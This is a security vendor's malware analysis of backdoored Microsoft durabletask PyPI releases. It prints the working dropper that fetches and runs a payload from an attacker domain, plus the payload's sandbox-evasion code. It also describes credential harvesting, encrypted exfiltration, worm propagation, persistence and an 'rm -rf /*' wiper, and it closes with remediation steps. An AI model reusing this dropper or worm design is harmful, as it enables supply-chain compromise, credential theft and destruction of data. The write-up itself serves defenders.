Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages
Valentino Duval
20 May 2026
Real World Attacks
Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages
Valentino Duval
20 May 2026
Real World Attacks
Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages
Valentino Duval
20 May 2026
No headings found in content selector: .toc-content
Mini Shai-Hulud spreads to Microsoft's durabletask PyPi packages
Executive Summary
Ossprey Security flagged all three malicious versions of durabletask within seconds of each upload to PyPI on May 19, 2026. durabletask is Microsoft's Durable Task Python SDK for Azure, downloaded roughly 417,000 times per month. Versions 1.4.1, 1.4.2, and 1.4.3 were published within a 35-minute window as part of the Mini Shai-Hulud supply-chain campaign attributed to the TeamPCP threat group, using a stolen PyPI API token from a prior campaign wave. No code was pushed to the upstream Microsoft GitHub repository.
Each version contains a Linux-only import-time dropper injected directly into package source files. The injection surface grew across versions: 1.4.1 modified only __init__.py, 1.4.2 added task.py, and 1.4.3 spread the same block across five files, covering every major submodule entry point. The dropper fires the moment any part of the SDK is imported, downloads rope.pyz from check.git-service[.]com, and executes it as a detached background process with all output silenced.
The second stage, internally codenamed FIRESCALE, is a multi-cloud credential worm. It sweeps AWS, Azure, GCP, HashiCorp Vault, and Kubernetes credentials alongside 90+ local credential file paths and four password managers, encrypts everything with RSA-4096/AES-256-GCM, and exfiltrates to the C2. A fallback channel resolves a new C2 endpoint from signed GitHub commit messages tagged FIRESCALE if the primary fails. The worm propagates to AWS EC2 instances via SSM SendCommand and to Kubernetes pods via kubectl exec, installs a persistence service (pgsql-monitor.service), and on systems with Israeli or Iranian locale markers probabilistically triggers a disk wipe.
Who is Behind This?
Attribution to the TeamPCP threat group is assessed with moderate-to-high confidence based on shared C2 infrastructure (check.git-service[.]com, t.m-kosche[.]com), identical payload architecture to the prior guardrails-ai and @antv npm wave documented days earlier, and the Russian-folklore repository naming convention used during GitHub-based exfiltration fallback. The initial access vector was a stolen PyPI API token extracted from secrets in a GitHub repository compromised during a prior TeamPCP wave, consistent with the group's documented credential-chaining behavior.
Technical Breakdown
Stage 0: Supply-chain account compromise and package publication
TeamPCP never touched the upstream microsoft/durabletask-python GitHub repository. No tags v1.4.1, v1.4.2, or v1.4.3 exist there, and no GitHub Actions publishing workflow ran on May 19, 2026. The token had been extracted from secrets in a GitHub repository that a compromised developer account had access to during a prior campaign wave. The attacker used it to build and upload modified packages directly via twine. All three versions appeared within 35 minutes: v1.4.1 at 16:19 UTC, v1.4.2 at 16:49 UTC, and v1.4.3 at 16:54 UTC. Package metadata still pointed to the legitimate Microsoft GitHub repository URL, lending the malicious versions unearned credibility to anyone checking the PyPI page.
# durabletask-1.4.3.dist-info/METADATA(excerpt)Metadata-Version:2.4
Name:durabletask
Version:1.4.3
Summary:A Durable Task Client SDK forPython
# Project-URL still points to microsoft/durabletask-python
# No corresponding tag v1.4.3existsinthat repository.
# NoGitHub Actions workflow ran on May 19,2026.
# The most recent legitimate tag is v1.4.0(lastcode commit April 24,2026)
# durabletask-1.4.3.dist-info/METADATA(excerpt)Metadata-Version:2.4
Name:durabletask
Version:1.4.3
Summary:A Durable Task Client SDK forPython
# Project-URL still points to microsoft/durabletask-python
# No corresponding tag v1.4.3existsinthat repository.
# NoGitHub Actions workflow ran on May 19,2026.
# The most recent legitimate tag is v1.4.0(lastcode commit April 24,2026)
# durabletask-1.4.3.dist-info/METADATA(excerpt)Metadata-Version:2.4
Name:durabletask
Version:1.4.3
Summary:A Durable Task Client SDK forPython
# Project-URL still points to microsoft/durabletask-python
# No corresponding tag v1.4.3existsinthat repository.
# NoGitHub Actions workflow ran on May 19,2026.
# The most recent legitimate tag is v1.4.0(lastcode commit April 24,2026)
Stage 1: Import-time dropper: expanding injection surface across versions
The dropper is a fixed block inserted into package source files that triggers at import time, not at install time. In durabletask@1.4.1 only __init__.py was modified. In 1.4.2 the same block was added to task.py. In 1.4.3 the injection appeared in five files: __init__.py, task.py, entities/__init__.py, extensions/__init__.py, and payload/__init__.py. This expanding surface means any code path that imports the package, whether directly or via a submodule, will trigger the dropper. The code checks for Linux, downloads rope.pyz from check.git-service[.]com into /tmp/managed.pyz, then launches it via subprocess.Popen with start_new_session=True and all I/O redirected to /dev/null. A bare except: pass clause silently swallows any failure, so the legitimate package functionality appears completely unaffected.
# durabletask/__init__.py (identical across all three versions)importosimportsysimportplatformimportsubprocessimporturllib.requestifplatform.system() == "Linux":
try:
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz","/tmp/managed.pyz")withopen(os.devnull,'w')asf:
subprocess.Popen(["python3","/tmp/managed.pyz"],stdout=f,stderr=f,stdin=f,start_new_session=True)except:
passfromdurabletask.payload.storeimportLargePayloadStorageOptions,PayloadStorefromdurabletask.workerimport(ActivityWorkItemFilter,ConcurrencyOptions,EntityWorkItemFilter,OrchestrationWorkItemFilter,VersioningOptions,WorkItemFilters,)
# durabletask/__init__.py (identical across all three versions)importosimportsysimportplatformimportsubprocessimporturllib.requestifplatform.system() == "Linux":
try:
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz","/tmp/managed.pyz")withopen(os.devnull,'w')asf:
subprocess.Popen(["python3","/tmp/managed.pyz"],stdout=f,stderr=f,stdin=f,start_new_session=True)except:
passfromdurabletask.payload.storeimportLargePayloadStorageOptions,PayloadStorefromdurabletask.workerimport(ActivityWorkItemFilter,ConcurrencyOptions,EntityWorkItemFilter,OrchestrationWorkItemFilter,VersioningOptions,WorkItemFilters,)
# durabletask/__init__.py (identical across all three versions)importosimportsysimportplatformimportsubprocessimporturllib.requestifplatform.system() == "Linux":
try:
urllib.request.urlretrieve("https://check.git-service.com/rope.pyz","/tmp/managed.pyz")withopen(os.devnull,'w')asf:
subprocess.Popen(["python3","/tmp/managed.pyz"],stdout=f,stderr=f,stdin=f,start_new_session=True)except:
passfromdurabletask.payload.storeimportLargePayloadStorageOptions,PayloadStorefromdurabletask.workerimport(ActivityWorkItemFilter,ConcurrencyOptions,EntityWorkItemFilter,OrchestrationWorkItemFilter,VersioningOptions,WorkItemFilters,)
Stage 2: Payload initialization and anti-analysis gates
rope.pyz starts at __main__.py and runs three sequential checks before doing any work. First, it verifies sys.platform == 'linux'. Second, it reads the LANG environment variable and exits if the value starts with ru, explicitly excluding Russian-locale systems. Third, it checks CPU count and exits if it is two or fewer, filtering out VMs and sandboxes. If the cryptography library is missing, the payload installs it silently via pip with --break-system-packages. All subsequent output is redirected to /dev/null via redirect_stdout/redirect_stderr.
# rope/__main__.pyifsys.platformnotin('linux'):
_log("Platform check failed: not Linux, exiting")sys.exit(1)try:
lang = os.environ.get('LANG','').split('.')[0]iflang.lower().startswith('ru'):
_log("Russia check failed: LANG starts with 'ru', exiting")sys.exit(1)exceptExceptionase:
_log(f"Russia check exception (continuing): {e}")cpu_count = os.cpu_count()ifcpu_countisNoneorcpu_count <= 2:
_log("CPU check failed: insufficient CPUs, exiting")sys.exit(1)try:
importcryptographyexceptImportError:
subprocess.check_call([sys.executable,"-m","pip","install","cryptography","--break-system-packages"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)ifDEBUG:
runpy.run_module('entrypoint',run_name='__main__')else:
withopen(os.devnull,'w')asfnull:
withredirect_stdout(fnull),redirect_stderr(fnull):
runpy.run_module('entrypoint',run_name='__main__')
# rope/__main__.pyifsys.platformnotin('linux'):
_log("Platform check failed: not Linux, exiting")sys.exit(1)try:
lang = os.environ.get('LANG','').split('.')[0]iflang.lower().startswith('ru'):
_log("Russia check failed: LANG starts with 'ru', exiting")sys.exit(1)exceptExceptionase:
_log(f"Russia check exception (continuing): {e}")cpu_count = os.cpu_count()ifcpu_countisNoneorcpu_count <= 2:
_log("CPU check failed: insufficient CPUs, exiting")sys.exit(1)try:
importcryptographyexceptImportError:
subprocess.check_call([sys.executable,"-m","pip","install","cryptography","--break-system-packages"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)ifDEBUG:
runpy.run_module('entrypoint',run_name='__main__')else:
withopen(os.devnull,'w')asfnull:
withredirect_stdout(fnull),redirect_stderr(fnull):
runpy.run_module('entrypoint',run_name='__main__')
# rope/__main__.pyifsys.platformnotin('linux'):
_log("Platform check failed: not Linux, exiting")sys.exit(1)try:
lang = os.environ.get('LANG','').split('.')[0]iflang.lower().startswith('ru'):
_log("Russia check failed: LANG starts with 'ru', exiting")sys.exit(1)exceptExceptionase:
_log(f"Russia check exception (continuing): {e}")cpu_count = os.cpu_count()ifcpu_countisNoneorcpu_count <= 2:
_log("CPU check failed: insufficient CPUs, exiting")sys.exit(1)try:
importcryptographyexceptImportError:
subprocess.check_call([sys.executable,"-m","pip","install","cryptography","--break-system-packages"],stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)ifDEBUG:
runpy.run_module('entrypoint',run_name='__main__')else:
withopen(os.devnull,'w')asfnull:
withredirect_stdout(fnull),redirect_stderr(fnull):
runpy.run_module('entrypoint',run_name='__main__')
Stage 3: Multi-cloud and local credential harvesting
All collectors run concurrently via a ThreadPoolExecutor. Each is independent and silently swallows exceptions. collectors/aws.py resolves credentials from environment variables or IMDSv2, then enumerates AWS Secrets Manager and SSM Parameter Store across 19 hardcoded regions with 15 concurrent threads per scan. collectors/azure.py resolves tokens from environment variables, a PEM certificate, the Azure CLI token cache, or IMDS, then lists all subscriptions, all Key Vaults in each, and all secrets in each vault. collectors/gcp.py resolves credentials from the ADC file, GOOGLE_APPLICATION_CREDENTIALS, or the GCP IMDS endpoint, then lists and retrieves all Secret Manager secrets. collectors/vault.py resolves a Vault token from environment, ~/.vault-token, AppRole login, or the vault CLI, then walks every KV mount. collectors/filesystem.py reads 90+ hardcoded credential file paths, all files in ~/.ssh/, all .env files under the home directory, all Terraform state files, Docker container environment variables (via Unix socket or CLI), and VPN configurations. collectors/passwords.py attempts to unlock and dump Bitwarden, 1Password, pass, and gopass by brute-forcing with passwords scraped from environment variables and shell history.
Stage 4: Encrypted exfiltration with FIRESCALE dead-drop C2 fallback
All collected data is gzip-compressed, then encrypted: a random 32-byte AES key and 12-byte IV are generated, the payload is encrypted with AES-256-GCM, and the AES key is wrapped with the attacker's RSA-4096 public key using OAEP-SHA256 padding. The bundle is POSTed to check.git-service[.]com/api/public/version. If that endpoint is unreachable, the payload searches GitHub commit messages for the pattern FIRESCALE\s+([A-Za-z0-9+/=]+)\.([A-Za-z0-9+/=]+), decodes the base64 URL and signature, and verifies the signature against the same embedded RSA public key. This lets the attacker rotate the C2 by pushing a signed commit to any public repository. If all C2 channels fail, the payload searches collected data for GitHub tokens matching ghp_ or github_pat_ patterns, creates a new public repository with a randomly chosen Russian folklore name, and uploads the encrypted bundle there.
Stage 5: Worm propagation via AWS SSM and Kubernetes kubectl exec
After credential collection, the AWS collector calls collectors/propagate.py with the enumerated SSM-managed instances. A ~/.cache/.sys-update-check marker prevents re-running on already-infected hosts. The module selects up to five online, non-Windows, non-self EC2 instances across all discovered profiles and regions, and issues SendCommand with the AWS-RunShellScript document. The shell script downloads rope.pyz from the primary C2, falls back to t.m-kosche[.]com, and executes it with nohup before self-deleting. Separately, collectors/kubernetes.py lists all running pods via kubectl, then calls kubectl exec to run the same script in the first container of up to five target pods. A separate ~/.cache/.sys-update-check-k8s marker tracks Kubernetes propagation. If kubectl is not present, the payload attempts to download it from dl.k8s.io.
Stage 6: Persistence installation and destructive payload
When check.git-service[.]com/v1/models returns HTTP 200, it delivers a base64-encoded Python payload. roulette.py:deploy_local() decodes it, writes it to pgmonitor.py in either /usr/bin/ (root) or ~/.local/bin/ (user), and installs a systemd unit pgsql-monitor.service with Restart=always, masquerading as a PostgreSQL monitoring process. Before deploying, roulette.py checks whether the system appears Israeli or Iranian by inspecting timezone environment variables, /etc/timezone, the binary content of /etc/localtime, and locale settings for markers including Jerusalem, Tel_Aviv, Tehran, he_IL, and fa_IR. If any of these match and random.randint(1, 6) returns 2, the function downloads RunForCover.mp3 from the C2, sets audio volume to 100% via pactl, plays it with mpv, and runs subprocess.run(['rm', '-rf', '/*']).
Remove durabletask versions 1.4.1, 1.4.2, and 1.4.3 from all environments, lockfiles, container images, and CI/CD caches; reinstall v1.4.0 or the latest clean release only after verifying package integrity against the upstream GitHub repository.
Treat any host that imported durabletask 1.4.1-1.4.3 as fully compromised: rotate all cloud credentials (AWS access keys, Azure client secrets, GCP service account keys), SSH private keys, Vault tokens, Kubernetes service account tokens, npm and PyPI publishing tokens, and master passwords for Bitwarden and 1Password.
Check for active persistence: search for pgsql-monitor.service in /etc/systemd/system/ and ~/.config/systemd/user/; check for pgmonitor.py in /usr/bin/ and ~/.local/bin/; check for running python3 /tmp/managed.pyz or python3 /tmp/rope-*.pyz processes.
Check propagation markers: ~/.cache/.sys-update-check confirms the AWS/general worm logic ran; ~/.cache/.sys-update-check-k8s confirms Kubernetes propagation attempted. Audit all hosts reachable from infected machines.
Audit AWS CloudTrail for SendCommand events with document name AWS-RunShellScript originating from potentially compromised instance profiles, and investigate all targeted instance IDs.
Audit Kubernetes audit logs for exec commands from infected pods; review all namespaces for newly created or modified secrets.
Block check.git-service[.]com and t.m-kosche[.]com at DNS resolvers and egress proxies; block outbound HTTPS to /v1/models, /audio.mp3, /api/public/version, and /rope.pyz on those domains.
Audit GitHub for repositories created with Russian-folklore two-word names (e.g. KOSCHEI-FIREBIRD-NNN) under any account whose token was on an infected host; these may contain encrypted credential bundles.
RSA-4096 public key (PEM): MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAy/uXzJGGCEF39GtSJk9H... (full key in config.py)
Affected Versions
Package
Version
Downloads/month
Status
durabletask
1.4.1
~417,000
Quarantined by PyPI
durabletask
1.4.2
~417,000
Quarantined by PyPI
durabletask
1.4.3
~417,000
Quarantined by PyPI
MITRE ATT&CK
ID
Technique
Why it applies
T1195.002
Compromise Software Supply Chain
Modified builds published to PyPI via a stolen API token, with no upstream GitHub compromise
T1059.006
Command and Scripting Interpreter: Python
All stages are Python; dropper launches rope.pyz via subprocess.Popen at import time
T1543.002
Create or Modify System Process: Systemd Service
pgsql-monitor.service installed with Restart=always to maintain persistence
T1027
Obfuscated Files or Information
All output suppressed via /dev/null; propagation payloads base64-encoded; debug mode disabled in production
T1552.001
Unsecured Credentials: Credentials In Files
90+ hardcoded file paths swept including cloud SDK credentials, SSH keys, and Terraform state
T1078.004
Valid Accounts: Cloud Accounts
AWS IMDS, Azure IMDS, and GCP metadata server queried for IAM credentials
T1580
Cloud Infrastructure Discovery
Secrets Manager and SSM enumerated across 19 AWS regions; all Azure subscriptions and Key Vaults listed
T1021.006
Remote Services: SSH
Lateral movement via AWS SSM SendCommand and kubectl exec to remote EC2 instances and pods
T1041
Exfiltration Over C2 Channel
RSA+AES encrypted bundle POSTed to check.git-service[.]com/api/public/version
T1567.001
Exfiltration to Code Repository
GitHub API used to create public repos and upload encrypted credentials when C2 is unavailable
T1485
Data Destruction
rm -rf /* executed on Israeli/Iranian-locale systems with 1-in-6 probability after audio playback
Ossprey Security flagged all three versions within seconds of each upload. To protect your environment from supply-chain attacks like this one, visit ossprey.com.
SHARE
Subscribe Now.
Subscribe Now.
Subscribe Now.
Ossprey helps you understand what code is trying to do, before you trust it.
Ossprey helps you understand what code is trying to do, before you trust it.